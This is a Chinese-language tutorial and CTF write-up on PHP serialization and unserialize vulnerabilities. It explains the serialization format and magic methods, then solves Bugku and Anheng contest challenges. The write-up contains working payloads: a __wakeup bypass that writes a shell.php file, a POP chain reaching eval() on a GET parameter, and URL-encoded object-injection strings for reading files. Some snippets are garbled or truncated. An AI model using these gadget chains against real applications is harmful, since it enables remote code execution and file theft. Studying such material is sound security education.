序列化格式
php序列化后的内容是简单的文本格式,但对字母大小写和空白敏感,而字符串是按照字节(或者说是8位的字符)计算的,因此更适合的说法是php序列化的内容是字节流格式
布尔型
bool:<digit>
$a = true;
序列化后: b:1
整数型
int:<value>
$a = 1;
序列化后: i:1;
double型
double:<value>
$a=1.23;
序列化后: d:1.23
另外如果序列化无穷大或序列化超过php能表示的最大数
d:INF
负无穷大
d:-INF
超过php的最小精度
d:0
字符串
string:<length>:<value>
$a="nice";
序列化后: s:4:"nice";
NULL
$a=null;
序列化后: N;
数组
array:<length>:{<key>:<value>;....}
$a=array("php","is","the","best","language")
序列化后: a:5:{i:0;s:3:"php";i:1;s:2:"is";i:2;s:3:"the";i:3;s:4:"best";i:4;s:8:"language";}
对象
object:<class_name_length>:"class_name":<number_of_properties>:{<filed_name1>:<file_value1>;....<filed_namen>:<filed_namen>:<filed_valuen>};
//filed_name为字段名,字符串类型,它序列化后与字符串序列化一样
序列化后: O:4:"mntn":3:{s:4:"name";N;s:3:"age";N;s:2:"ID";N;}
class Demo{
public $var1;
private $var2;
protected $var3;
}
$demo = new Demo();
echo serialize($demo);
//屏幕输出O:4:"Demo":3:{s:4:"var1";N;s:10:"Demovar2";N;s:7:"*var3";N;}
实际上,对象中的变量被序列化时会发生改变
私有变量private 被序列化时 会变成 %00Demo%00var2 即 %00 + 类名 + %00 + 属性名
共有变量public 被序列化时不改变
受保护变量protected 被序列化时 会变成 %00*%00var3 即 %00 + ‘*’ + %00 + 属性名
在传递参数的时候需要带上否则无法生效
对象序列化中的魔术方法
__construct
构造函数,初始化对象的时候触发
class Test{
function __construct(){
echo "this is construct test";
}
}
$a = new Test();
__destruct
析构函数,对象销毁的时候触发
class Test{
function __destruct(){
echo "this is destruct test";
}
}
$a = new Test();
__toString
对象被当作字符串时触发
class Test{
function __toString(){
return "this is test";
}
}
$a = new Test();
echo $a;
__sleep
类被序列化时会先调用__sleep
方法,返回需要被序列化保留的属性
class Test{
public $var1;
public $var2;
function __sleep(){
return ['var1','var2'];
}
}
$a = new Test;
$b = serialize($a);
echo $b;
//O:4:"Test":2:{s:4:"var1";N;s:4:"var2";N;}
__wakeup
类被反序列化的时候会先调用__wakeup
方法
class Test{
public $var1;
public $var2;
function __wakeup(){
echo __METHOD__;
}
function __construct(){
echo __METHOD__;
}
}
$a = new Test;
$b = serialize($a);
unserialize($b);
综合
class Magic_methods
{
public $var1 = "abc";
public $var2 = 1;
public function __construct(){
echo "run __construct</br>";
}
public function __destruct(){
echo "run __destruct</br>";
}
public function __toString(){
echo "run __toString</br>";
return $this->var1;
}
public function __sleep(){
echo "run __sleep</br>";
return array('var1','var2');
}
public function __wakeup(){
echo "run __wakeup</br>";
}
}
// 创建一个新对象,会先调用__construct()
$obj = new Magic_methods();
// 将对象当作字符串输出,会先调用__toString()
echo $obj."</br>";
// 调用serialize()之前先调用__sleep()
$s = serialize($obj);
echo $s."</br>";
// 调用unserialize()之前会先调用__wakeup()
$data = unserialize($s);
echo $data."</br>";
// 此处又一次调用了__toString()
// 脚本执行完毕,即将销毁所有创建的对象,此时调用__destruct()
// 反序列化恢复的对象被销毁,再次调用__desruct()
// 所以这里调用了2次__destruct()
题目
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
利用前面的构造反序列化字符串知识可构造s:7:"D0g3!!!"
,提交即可
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
首先需要利用的是file_get_contents()
来达到包含任意文件的目的,利用php伪协议php://input
可以控制内容。
以前一直认为php://input
只能接收POST请求提交的数据
但是测试的时候GET也可以获取到原始数据流,实际上
php://input
可以读取http entity body中指定长度的值,由Content-Length
指定长度,不管是POST
方式或者GET
方法提交过来的数据。但是,一般GET方法提交数据 时,httprequest entity body
部分都为空。
php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据。
也就是说明GET
请求也可以在请求的body中传入原始数据流让php://input
接收
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "涓嶈兘鐜板湪灏辩粰浣爁lag鍝�";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
可控制 $file
来达到文件读写,利用反序列化漏洞,因为序列化保存类的属性,所以可构造
class Flag{
public $file;
}
$a = new Flag;
$a->file = flag.php;
echo unserialize($a);
即可控制读取的文件
__wakeup
漏洞
当php是低版本时存在漏洞,当输入的反序列化的对象个数大于真实的个数时,会使得__wakeup
函数失效从而可以绕过,同时对象被销毁,执行__destruct().
所以攻击者可以绕过__wakeup
调用精心设计的__destruct()
方法
利用
class A{
public $a = "test";
function __destruct(){
$fp = fopen(__DIR__.'\shell.php',"w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$b = unserialize($test);
poc test = O:1:"A":2:{s:1:"a";s:27:"";}
构造pop链
error_reporting(0);
class lemon{
protected $classObj;
function __construct(){
$this->classObj=new normal();
// 私有变量$classObj 复制为新类normal的对象,并且调用了该类的方法action
// 但是有趣的是,另一个类evil 也有同名方法action
// 所以可以构造pop 链,使得其在__destruct 方法中调用evil 类里的action 方法
}
function __destruct(){
$this->classObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['a']);
//poc
<?php
class lemon{
protected $classObj;
function __construct($classObj){
$this->classObj = $classObj;
}
}
class evil{
private $data;
function __construct($data){
$this->data = $data;
}
}
$e = new evil('eval("$_GET[${s}]")');
$a = new lemon($e);
echo urlencode(serialize($a));
安恒 月赛题
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
//O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test.php");
}
安恒 2019 一月月赛
当时没做出来,赛后也没总结,现在拿出来再分析一下
skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./test.php");
}
?>
首先明确利任意文件读取的利用点是 __toString
方法,然后看到__toString
方法下面有一个read()
方法,很明显要利用cool
里的read()
方法来达到目的。明确目标就可以来构造pop
链
cool
的read()
方法需要反序列化一个类,这个类很明显是baby
类,而且需要满足$aaa=$bbb
,发现$aaa
会被重新赋值,而且无法控制,这里可以用地址符来保证一定相等
构造amzing
class baby{
protected $skyobj;
function __construct()
{
$this->skyobj = new cool;
}
}
$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D
然后可以构造完整exp
class cool{
public $filename = 'flag.php';
public $nice;
public $amzing = 'O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$c = new baby();
echo urlencode(serialize($c));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
学习了~